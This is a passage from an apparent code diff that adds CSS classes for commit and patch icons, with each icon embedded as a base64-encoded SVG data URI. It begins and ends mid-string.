C4xNzUzOSAwLjI4MDY0IDAuNDU2MDMtMC4xNjM3MSAwLjEyODYyLTAuOTM1NDQgMC4xNDAzMi0wLjc3MTc0IDAuMDQ2OC0wLjU2MTI3LTAuMTQwMzItMC4zNzQxN3oiIGZpbGw9IiNmOTUiLz4KCQk8L2c+CgkJPHBhdGggZD0ibTI5LjM3OCAxMTMuOTItMC40NjMwMiAwLjM4MDM0LTAuMzgwMzQgMC4wNDk2cy0wLjE5ODQzIDAuMzYzOC0wLjI2NDU4IDAuNDQ2NDhjLTAuMDY2MSAwLjA4MjctMC41MjkxNyAxLjE0MS0wLjUyOTE3IDEuMTQxbDAuNjExODUgMi40OTcgMC4zMTQyIDAuNTk1MzIgMC41Nzg3NyAwLjU5NTMxIDAuMzk2ODggMC4zMzA3MyAwLjgxMDI4IDEuMTkwNiAwLjU5NTMyIDAuNjQ0OTMgMC41MTI2MyAwLjMzMDcyIDAuNzkzNzUgMC4wMzMxIDAuNjk0NTMgMC4wNDk2IDAuNzc3MjEtMC4xNjUzNyAwLjgxMDI5LTAuMTMyMjktMS4zMjI5LTAuMTQ4ODMtMS4wMjUzLTAuMjQ4MDQtMC42Nzc5OS0wLjQxMzQyLTAuNjc4LTAuODEwMjgtMC42MjgzOC0wLjIzMTUxLTAuNDYzMDMtMC42NzgtMC4yODExMi0wLjg3NjQzIDAuMjE0OTgtMS4zNzI1IDEuNzUyOSAwLjI0ODA1LTIuMjk4Ni0xLjIwNzItMC41MjkxNy0wLjg5Mjk3IDAuNDEzNDEtMC45NDI1OHoiIGZpbGwtb3BhY2l0eT0iLjM4MDE3Ii8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tNS43ODU1IDExOS4yMWMwLjY1MzUtMC41MTM0MiAxLjE1NjQtMS4zNDQ1IDIuMDY3NC0xLjQwNDIgMC44NDU5OC0wLjI5ODc1IDEuNTk4OSAwLjExOTgyIDIuMjEzOCAwLjY1MTIyIDAuNDI5ODYgMC4yMzY3NyAxLjc2MDEgMC4xMjk1NiAxLjA5ODcgMC45MDYzMi0wLjc4MTA3LTAuMDE0NC0wLjc1OTUxIDAuOTE3MDktMS4xNjcgMS4zNjctMC43NDExNiAwLjk3NDAzLTIuMTExIDEuMjQxNC0zLjI0NzUgMC45ODQ4LTAuNTc0ODgtMC4zNDg1Ny0wLjQ3ODY1LTEuMTEzNy0wLjcxODktMS42NjM2LTAuMDgzMy0wLjI4MDE2LTAuMTY2OS0wLjU2MDMyLTAuMjQ2NTYtMC44NDE1eiIgZmlsbD0iIzU0MCIvPgoJCQk8dGV4dCB0cmFuc2Zvcm09InJvdGF0ZSg3Mi45MDMpIiB4PSIxMTMuNDA0NiIgeT0iMzkuMjYwMjI3IiBmaWxsPSIjZmY5OTU1IiBmb250LWZhbWlseT0iJ0xpYmVyYXRpb24gU2FucyciIGZvbnQtc2l6ZT0iMi4xMTY3cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjI2NDU4IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSIxMTMuNDA0NiIgeT0iMzkuMjYwMjI3IiBmaWxsPSIjZmY5OTU1IiBmb250LWZhbWlseT0iJ1NvdXJjZSBIYW4gU2FucyBUVyciIHN0cm9rZS13aWR0aD0iLjI2NDU4Ij7phZI8L3RzcGFuPjwvdGV4dD4KCQkJPHBhdGggZD0ibS00LjUwOTkgMTIxLjc0LTAuMzYyMTItMC42NTc1Mi0wLjI1MDcxLTAuNjk1MTUtMC4xODQwMi0wLjY2MTE5LTAuMTYzODUtMC41MDM0MyAwLjA0MzktMC4zMjgwMS0wLjM0NzgzIDAuMzM3MzIgMC4yNjg4NiAwLjkwNTE1IDAuMTkwNjcgMC43NjA4NyAwLjE4OSAwLjUzMDU2IDAuMjgyMjUgMC4yODI4OHoiIGZpbGw9IiNmOTUiLz4KCQk8L2c+Cgk8L2c+Cjwvc3ZnPg\u003d\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.8em;\n+ vertical-align:middle;\n+\tmargin-right: 0.5em;\n+\tmargin-bottom: 0.1em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.commits {\n+\tdisplay: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA1Ny4yNTI2MzYgNDMuODUwMDkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYyIgeD0iLS4xODM4MSIgeT0iLS41OTM3NSIgd2lkdGg9IjEuMzY3NiIgaGVpZ2h0PSIyLjE4NzUiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMDY4MzkyNyIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImQiIHg9Ii0uMTU0MzYiIHk9Ii0uMDc1MDY3IiB3aWR0aD0iMS4zMDg3IiBoZWlnaHQ9IjEuMTUwMSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMS4wNjgzOTI3Ii8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iZSIgeD0iLS4wODg5OSIgeT0iLS4wODYyMDkiIHdpZHRoPSIxLjE3OCIgaGVpZ2h0PSIxLjE3MjQiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMDY4MzkyNyIvPgoJCTwvZmlsdGVyPgoJCTxsaW5lYXJHcmFkaWVudCBpZD0iYSIgeDE9IjQ0My4zMyIgeDI9IjQ0My41OSIgeTE9IjMzMC40MiIgeTI9IjMyNy40NyIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgtMzc1LjQzIC0yMTIuMSkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iIzMzMyIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNlY2VjZWMiIG9mZnNldD0iMSIvPgoJCTwvbGluZWFyR3JhZGllbnQ+CgkJPGxpbmVhckdyYWRpZW50IGlkPSJiIiB4MT0iMTI1Ljk1IiB4Mj0iMTMzLjYzIiB5MT0iMTI2LjUiIHkyPSIxMTcuNTYiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMy4xOTMxIDAgMCAzLjE5MzEgLTM2MS40IC0yNTcuMDUpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIG9mZnNldD0iMCIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjY2NjIiBvZmZzZXQ9Ii4xODk0OSIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjZDJkMmQyIiBvZmZzZXQ9Ii40MzUwOSIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjODA4MDgwIiBvZmZzZXQ9Ii42NzY1MSIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjYTZhNmE2IiBvZmZzZXQ9Ii44NjIwOSIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjNjY2IiBvZmZzZXQ9IjEiLz4KCQk8L2xpbmVhckdyYWRpZW50PgoJCTxmaWx0ZXIgaWQ9ImYiIHg9Ii0uMDY0OTgxIiB5PSItLjA4NzAxMiIgd2lkdGg9IjEuMTMiIGhlaWdodD0iMS4xNzQiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMzU0MTI5MSIvPgoJCTwvZmlsdGVyPgoJPC9kZWZzPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTIyLjc3OCAtMTE0LjA2KSI+CgkJPHBhdGggZD0ibTI3Ljc5MSAxNDAuMDZjLTAuNTczMjYgMC43MDU1Ni0xLjE0NjUgMC45OTAxNi0xLjcxOTggMS42OTU3IDguODYzNSA0LjY3NDMgMTUuOTk3IDguMjI2MSAyNC44NiAxMi45IDEuMjY4NS0yLjM4NDggMy43MzY2LTUuMjQ0NCA0LjkyNzYtNy42NTQgMC4yOTY2MS0yLjE5NDQgMS4xMjAxLTIuMzcyNiAxLjQ5NjItNC41NDExIDAuMzk5NzQtMC43MDE2MyAwLjYwOTMxLTIuMjk0MyAxLjAwNC0yLjk5OTYgMS44MjI1LTMuMjU3IDMuNzkwNS01LjY1NTUgNS42NDIzLTguODgxNiAwLjY2NzczLTAuNTg4NTMgMC45NDk1NC0xLjM3NjkgMS41OTc0LTEuOTg3IDIuNjIxOC0yLjQ2ODkgNS40ODQxLTQuODk0MSA4LjA3NjYtNy4zODMyIDEuMDIxMi0wLjU5NTcgMi4wNDI0LTEuMTkxNCAzLjA2MzYtMS43ODcxLTEuNjMxNi0wLjcwNTU1LTMuMjYzMi0xLjQxMTEtNC44OTQ4LTIuMTE2Ny0xNC42ODQgNy41ODQ3LTI5LjM2OSAxNS4xNjktNDQuMDUzIDIyLjc1NHoiIGZpbHRlcj0idXJsKCNmKSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0yNC42ODkgMTM4LjY3YzQuODc1Ni0zLjc4NzggNy41MzY2LTkuNjU2NyAxMS40OTItMTEuMDIgNS4zNjktMS4xODcyIDExLjkyOCAwLjI1MDM0IDE1LjkyMS00LjQ2NDUgMy4wNjE3LTMuNjgxNyA0Ljc5NTYtNS41OTE2IDkuNTI0LTUuNzY0OCAyLjYwNCAwLjI4ODM0IDguMTQyIDEuMTU4OCAxMy41MTggMi4zMzE0LTUuNTY3IDAuMzIwNTUtOS4xMjUyIDguMzY1OC0xMi44MzYgMTEuMTE0LTEyLjA2NyA5LjAyMzUtNS4wMTgyIDE1LjU5Mi0xMS43MjUgMjEuODk5LTQuODk3LTIuNjYyMy0yMS4wMi0xMS4zOS0yNS44OTQtMTQuMDk1eiIgZmlsbD0idXJsKCNiKSIvPgoJCQk8cGF0aCBkPSJtNjEuNTQ3IDExNy41NmMtMC43NTg1Ni0xLjAxNjUtMC40NTI4Mi0yLjg2NDggMS4xNjg3LTMuMTE5NWwxMi40OTMgMS4yMjQxLTEuMTY0NyAwLjczMTQ0LTAuMjYzNDMgMS41Mzc0IDEuMDY3MiAxLjc5NDhjLTQuODUxMS0xLjAwNjYtOC44MjQ4LTEuNTU3Ny0xMy4zMDEtMi4xNjgzeiIgZmlsbD0idXJsKCNhKSIvPgoJCQk8ZWxsaXBzZSBjeD0iNzUuMDE0IiBjeT0iMTE3LjcxIiByeD0iMS40MzAxIiByeT0iMi4wNTkzIi8+CgkJPC9nPgoJCTxnIGZpbGw9Im5vbmUiPgoJCQk8ZyBzdHJva2U9IiMwMDAiPgoJCQkJPHBhdGggZD0ibTYxLjAyOSAxMTguMDcgMTAuMDg3IDEuNjUzNiIgc3Ryb2tlLXdpZHRoPSIuMTMiLz4KCQkJCTxwYXRoIGQ9Im01OS4xNDQgMTE4LjcgMTAuMzUyIDEuODg1MiIgc3Ryb2tlLXdpZHRoPSIuMTQiLz4KCQkJCTxwYXRoIGQ9Im01Ny40MjQgMTE5LjU5IDEwLjg4MSAyLjA1MDUiIHN0cm9rZS13aWR0aD0iLjE1Ii8+CgkJCQk8cGF0aCBkPSJtNTYuMDM1IDEyMC42OCAxMC44MTUgMi4zNDgyIiBzdHJva2Utd2lkdGg9Ii4xNiIvPgoJCQkJPHBhdGggZD0ibTU0LjkxIDEyMi4wNyAxMC42MTYgMi41Nzk3IiBzdHJva2Utd2lkdGg9Ii4xNyIvPgoJCQkJPHBhdGggZD0ibTUzLjY4NyAxMjMuNzIgMTAuNDE4IDIuNzQ1MSIgc3Ryb2tlLXdpZHRoPSIuMTgiLz4KCQkJCTxwYXRoIGQ9Im01Mi4yMzIgMTI1LjIxIDEwLjMxOSAyLjg3NzMiIHN0cm9rZS13aWR0aD0iLjE5Ii8+CgkJCQk8cGF0aCBkPSJtNTAuMDE2IDEyNi43IDEwLjUxNyAzLjI0MTEiIHN0cm9rZS13aWR0aD0iLjIiLz4KCQkJCTxwYXRoIGQ9Im00Ny4xMDUgMTI3Ljc2IDExLjM3NyAzLjkzNTciIHN0cm9rZS13aWR0aD0iLjIxIi8+CgkJCQk8cGF0aCBkPSJtNDMuMzM1IDEyOC40MiAxMy4xMyA0Ljg5NDgiIHN0cm9rZS13aWR0aD0iLjIyIi8+CgkJCQk8cGF0aCBkPSJtMzkuNDMyIDEyOC43NSAxNS41NDQgNi40ODIzIiBzdHJva2Utd2lkdGg9Ii4yMyIvPgoJCQkJPHBhdGggZD0ibTM1LjU5NiAxMzAuMDcgMTcuNTk1IDguMDAzNiIgc3Ryb2tlLXdpZHRoPSIuMjQiLz4KCQkJCTxwYXRoIGQ9Im0zMy40NzkgMTMyLjk4IDE4LjI1NiA4Ljk5NTgiIHN0cm9rZS13aWR0aD0iLjI1Ii8+CgkJCQk8cGF0aCBkPSJtMzEuMDk4IDEzNS41NiAxOS4zODEgMTAuMjUzbDAuMDY2MSAwLjA2NjIiIHN0cm9rZS13aWR0aD0iLjI2Ii8+CgkJCQk8cGF0aCBkPSJtMjguMjU0IDEzOC44IDE5LjcxMSAxMC44NDgiIHN0cm9rZS13aWR0aD0iLjI3Ii8+CgkJCQk8ZyBzdHJva2Utd2lkdGg9Ii4xMSI+CgkJCQkJPHBhdGggZD0ibTYxLjk1NiAxMTcuMTIgMTEuMTMyIDEuNjEzNiIvPgoJCQkJCTxwYXRoIGQ9Im02MS44MTUgMTE2LjIgMTEuMTc5IDEuNDQ5OSIvPgoJCQkJCTxwYXRoIGQ9Im02MS45MDkgMTE1LjMxIDExLjI3MiAxLjMwOTYiLz4KCQkJCQk8cGF0aCBkPSJtNjIuNzA0IDExNC42OCAxMC45OTEgMS4xOTI3Ii8+CgkJCQk8L2c+CgkJCTwvZz4KCQkJPHBhdGggZD0ibTc0Ljk4MiAxMTkuNThjMC43NjExOC0wLjEyNjc0IDEuMjg1My0wLjkxNTI2IDEuMjEyNS0xLjY2NDYtMC4wNTM2LTAuNDM2MzQtMC4xNjIyNy0wLjg3MTQtMC4zNDQzNC0xLjI3MjUtMC4xNTQ1My0wLjMwNDc1LTAuMzgwNTktMC42MzEyLTAuNzMwNjctMC43MTg0OS0wLjUyNjQ4LTAuMDM1MS0wLjk2MDQ4IDAuNDA3Ny0xLjExMDUgMC44ODEyMy0wLjExNzEgMC4zNzQ5Ni0wLjEwODgxIDAuNzc2NzgtMC4wOTg2IDEuMTY1NCAwLjAyODggMC40ODYzNyAwLjIzMDQ2IDEuMDI4NCAwLjY5NDQzIDEuMjUyNSAwLjI3NDExIDAuMTMyMDQgMC42MDUyOSAwLjA0MDMgMC44MTIyMi0wLjE3MTY1IDAuMzIxNjItMC4yOTU4NSAwLjQ2OTg3LTAuNzU2MjYgMC4zOTY1Ny0xLjE4NTItMC4wNTgyLTAuNDY5ODktMC4wNzY1LTAuOTk3NzctMC40MTQ4NC0xLjM2NTMtMC4xMzcwMS0wLjE4MzE1LTAuMzc3MzUtMC4xOTUyMS0wLjU2NzUyLTAuMDkyMS0wLjQzODcxIDAuMjA2OTEtMC42MTg1NiAwLjcyMDI1LTAuNjQ2MjcgMS4xNzQ1IDAuMDExOTEgMC4yMzg1Ni0wLjA0NTQgMC40ODYwMSAwLjA1NDYgMC43MTM1NiAwLjEyMjI0IDAuMjg3NDEgMC4zNjAxMSAwLjU5NjM3IDAuNjk3NTYgMC42MTIwMSAwLjMxOTU5LTVlLTMgMC40NjQ2MS0wLjM1NjU5IDAuNTM2MjQtMC42MTkxMiAwLjE0NjAzLTAuNDY5MDQgMC4xNDc4OC0xLjA2MDItMC4yMzE5NS0xLjQyMjMtMC4xNDQ4OS0wLjIyNDA3LTAuNDMyNTktMC4wMzU0LTAuNTM2NCAwLjEzMTc3LTAuMjU5MTIgMC4zNTY0MS0wLjMwNzQgMC44NjIxNy0wLjEyNDc5IDEuMjYxOSAwLjA4OTMgMC4yMjkyNCAwLjQyMzI0IDAuMzAyNTQgMC41NTIyNiAwLjA2NzIgMC4xODIzMS0wLjI4MTkgMC4yNzE4OC0wLjY2NjMxIDAuMTI0NTYtMC45ODE0Ni0wLjIwNzc2LTAuMjQwNS0wLjQ2ODg5IDAuMDQ3LTAuNDQ1NTUgMC4yOTA1MS0wLjA4NTQgMC4yNDA2MyAwLjE2NzkyIDAuNDc3MzkgMC4yNTU0NiAwLjE1MDY0IDAuMDE5MjEtMC4wMzcxIDAuMDI5Ni0wLjA3OTggMC4wNTY0LTAuMTEyNjciIHN0cm9rZT0iIzZhNjc2YSIgc3Ryb2tlLXdpZHRoPSIuMSIvPgoJCTwvZz4KCQk8ZyBmaWxsPSIjMDAwMDAwIiBmb250LWZhbWlseT0iJ09wZW4gU2FucyciIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4Ij4KCQkJPHRleHQgdHJhbnNmb3JtPSJtYXRyaXgoLjE5OTM1IC4xMDQ3OCAtLjEwNDc4IC4xOTkzNSAtOS4xMzM5IDI1LjA2MykiIHg9IjM5NS40NzQ1NSIgeT0iMzcyLjMwOTYzIiBmaWx0ZXI9InVybCgjZSkiIGZvbnQtc2l6ZT0iNjEuNDA2cHgiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iMzk1LjQ3NDU1IiB5PSIzNzIuMzA5NjMiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPis8L3RzcGFuPjwvdGV4dD4KCQkJPHRleHQgdHJhbnNmb3JtPSJtYXRyaXgoLjE5OTM1IC4xMDQ3OCAtLjEwNDc4IC4xOTkzNSAtOS4xMzM5IDI1LjA2MykiIHg9IjQwOC40ODU1NyIgeT0iMzY4LjQ1MDg3IiBmaWx0ZXI9InVybCgjZCkiIGZvbnQtc2l6ZT0iNDcuODQ5cHgiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iNDA4LjQ4NTU3IiB5PSIzNjguNDUwODciIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPi88L3RzcGFuPjwvdGV4dD4KCQkJPHRleHQgdHJhbnNmb3JtPSJtYXRyaXgoLjE5OTM1IC4xMDQ3OCAtLjEwNDc4IC4xOTkzNSAtOS4xMzM5IDI1LjA2MykiIHg9IjQxNi4yMTc1MyIgeT0iMzY2LjM4NTY1IiBmaWx0ZXI9InVybCgjYykiIGZvbnQtc2l6ZT0iNTguMTg3cHgiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iNDE2LjIxNzUzIiB5PSIzNjYuMzg1NjUiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPi08L3RzcGFuPjwvdGV4dD4KCQk8L2c+CgkJPGc+CgkJCTxnIGZvbnQtZmFtaWx5PSInT3BlbiBTYW5zJyIgbGV0dGVyLXNwYWNpbmc9IjBweCIgdGV4dC1hbmNob3I9Im1pZGRsZSIgd29yZC1zcGFjaW5nPSIwcHgiPgoJCQkJPHRleHQgdHJhbnNmb3JtPSJyb3RhdGUoMjcuNzI4KSIgeD0iOTIuNTc1NjA3IiB5PSIxMTAuMTg0MiIgZmlsbD0iI2ZmMDAwMCIgZm9udC1zaXplPSIxMy44MjlweCIgc3Ryb2tlLXdpZHRoPSIxLjcyODYiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iOTIuNTc1NjA3IiB5PSIxMTAuMTg0MiIgZmlsbD0iI2ZmMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjcyODYiPis8L3RzcGFuPjwvdGV4dD4KCQkJCTx0ZXh0IHRyYW5zZm9ybT0icm90YXRlKDI3LjcyOCkiIHg9Ijk1LjUwNTc4MyIgeT0iMTA5LjMxNTIyIiBmaWxsPSIjODBiM2ZmIiBmb250LXNpemU9IjEwLjc3NnB4IiBzdHJva2Utd2lkdGg9IjEuMzQ3IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9Ijk1LjUwNTc4MyIgeT0iMTA5LjMxNTIyIiBmaWxsPSIjODBiM2ZmIiBzdHJva2Utd2lkdGg9IjEuMzQ3Ij4vPC90c3Bhbj48L3RleHQ+CgkJCQk8dGV4dCB0cmFuc2Zvcm09InJvdGF0ZSgyNy43MjgpIiB4PSI5Ny4yNDcxMTYiIHk9IjEwOC44NTAxIiBmaWxsPSIjMDBmZjAwIiBmb250LXNpemU9IjEzLjEwNHB4IiBzdHJva2Utd2lkdGg9IjEuNjM4IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9Ijk3LjI0NzExNiIgeT0iMTA4Ljg1MDEiIGZpbGw9IiMwMGZmMDAiIHN0cm9rZS13aWR0aD0iMS42MzgiPi08L3RzcGFuPjwvdGV4dD4KCQkJPC9nPgoJCQk8cGF0aCBkPSJtMzUuNTcxIDEzOC4yNC0wLjExNjU1LTAuMDUgMC40NTU3OS0wLjg2NzExIDAuNDY2NjggMC4yMjE0NyAwLjA0ODItMC4wNDYyLTAuNTMxOTUtMC4yNTU3Ny0wLjUzMzI3IDAuOTY5MTkgMC4xNzY3IDAuMTE2NnoiIGZpbGw9IiMwOGEiLz4KCQkJPHBhdGggZD0ibTM1LjU3IDEzNy4xNC0wLjc0ODc0IDAuNjc3NDEtMC4wOTgtMC4wNjI4IDAuNzYyNS0wLjY1ODN6IiBmaWxsPSIjYTQwIi8+CgkJPC9nPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.7em 0.8em 0.7em 0.8em;\n+ vertical-align:middle;\n+\tmargin-right: 0.5em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.patch {\n+\tdisplay: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA0Ny4yODQwNjUgMzkuMjg2Mjc4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYSIgeD0iLS4xODM4MSIgeT0iLS41OTM3NSIgd2lkdGg9IjEuMzY3NiIgaGVpZ2h0PSIyLjE4NzUiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMDY4MzkyNyIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMTU0MzYiIHk9Ii0uMDc1MDY3IiB3aWR0aD0iMS4zMDg3IiBoZWlnaHQ9IjEuMTUwMSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMS4wNjgzOTI3Ii8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iYyIgeD0iLS4wODg5OSIgeT0iLS4wODYyMDkiIHdpZHRoPSIxLjE3OCIgaGVpZ2h0PSIxLjE3MjQiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMDY4MzkyNyIvPgoJCTwvZmlsdGVyPgoJPC9kZWZzPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMS44NSAtMTM3LjUxKSI+CgkJPGcgZmlsbD0iIzAwMDAwMCIgZm9udC1mYW1pbHk9IidPcGVuIFNhbnMnIiBsZXR0ZXItc3BhY2luZz0iMHB4IiBzdHJva2U9IiMwMDAwMDAiIHN0cm9rZS13aWR0aD0iMS4yIiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB3b3JkLXNwYWNpbmc9IjBweCI+CgkJCTx0ZXh0IHg9IjExOC44NjIxMyIgeT0iMTc4LjA4NjU4IiBmaWx0ZXI9InVybCgjYykiIGZvbnQtc2l6ZT0iNjEuNDA2cHgiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iMTE4Ljg2MjEzIiB5PSIxNzguMDg2NTgiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPis8L3RzcGFuPjwvdGV4dD4KCQkJPHRleHQgeD0iMTMxLjg3MzE1IiB5PSIxNzQuMjI3OCIgZmlsdGVyPSJ1cmwoI2IpIiBmb250LXNpemU9IjQ3Ljg0OXB4IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9IjEzMS44NzMxNSIgeT0iMTc0LjIyNzgiIGZpbGw9IiMwMDAwMDAiIHN0